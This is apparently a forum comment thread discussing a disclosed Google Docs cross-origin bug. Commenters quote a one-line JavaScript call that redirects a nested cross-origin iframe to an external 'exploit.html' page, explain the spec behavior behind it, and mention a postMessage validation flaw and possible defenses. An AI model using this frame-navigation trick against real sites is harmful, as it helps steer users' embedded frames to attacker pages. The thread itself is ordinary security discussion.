5 ms·

The most surprising part to me is that this works: window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html"; It's expected to me that you

• ape4 6y ago
  I agree this, seems wrong. Does it work in all browsers?
  • twiss 6y ago
    It seems there's a typo in the quote, but the following indeed works in both Chrome and Firefox: window.frames[0].frames[2].location = "https://example.com"; Even if `window.frames[0]` is cross-origin.
  • jandem 6y ago
    This behavior is defined in the HTML spec, here: https://html.spec.whatwg.org/multipage/browsers.html#crossoriginproperties-(-o-) https://html.spec.whatwg.org/multipage/browsers.html#crossor...
• hackerpain 6y ago
  docs.google.com didn't have X-Frame-Options: DENY nor a restrictive CSP so I think its a browser quirk (rather, a clever bypass) that works here. Also, the author had exploited a postMessage flaw which wasn't validating the host name properly that led to the cross-origin leak of screenshot data Check this out https://youtu.be/KpkrTUHoWsQ https://youtu.be/KpkrTUHoWsQ (video about URL validation bypass and SOP)
  • twiss 6y ago
    The missing header just means that docs.google.com can be embedded in an iframe, I'm not surprised about that. But the parent window still shouldn't be able to access the contents of that iframe. And in fact this doesn't work: document.getElementsByTagName('iframe')[0].contentDocument.getElementsByTagName('iframe')[0].src = "https://geekycat.in/exploit.html"; For obvious reasons (you can't access the DOM of a cross-origin iframe). So it's surprising that this works: window.frames[0].frames[0].location = "https://geekycat.in/exploit.html";
    • cramforce 6y ago
      For legacy reasons the location object is special (you can write to it which is a proxy to writing to `location.href`). Some details here https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#Location https://developer.mozilla.org/en-US/docs/Web/Security/Same-o... This is actually quite difficult to protect against while keeping functionality intact (not granting allow-scripts to iframes would do it, but also obviously disable JavaScript). The emerging https://github.com/dtapuska/documentaccess https://github.com/dtapuska/documentaccess standard would be a defense-in-depth against this attack.
      • twiss 6y ago
        Myeah. I was aware that `WindowProxy.location` exists, but not that `WindowProxy.frames` exists. To me, that's the more surprising part - as `window.frames[0].location` should indeed be writable, but I feel like accessing `window.frames[0].frames` is more debatable - even knowing the number of iframes in a page might leak information in certain cases.
• svieira 6y ago
  Context: Changing location was a way of message passing (just change the hash) before `postMessage` was widely available. Also, sometimes you are managing a widget embedded in a page which is embedded in your application. That said, this is one of those things that might be best relegated to the "Phase 0" APIs now that there is a better way to do things (e. g. postMessage).
  • Technically 6y ago
    I find it insane that people want to use apps built off this creaky technology.
    • warent 6y ago
      You find it insane that the general public isn't concerned with (and/or doesn't understand) highly technical implementation details?
      • Technically 6y ago
        I find it insane that Google can't be held legally liable for their buggy-ass software. If they wanted their software to work, a browser seems like a poor place to start.
  • twiss 6y ago
    I see, thanks for the context. Perhaps, if changing the hash is the primary use-case, we could allow only that (in the `location` setter). Alternatively - browsers have been breaking various things in iframes recently (by e.g. isolating cookies), maybe breaking this as well would be acceptable if it's not commonly used..
  • thrashh 6y ago
    It was also a way to do what XMLHttpRequest does before it existed.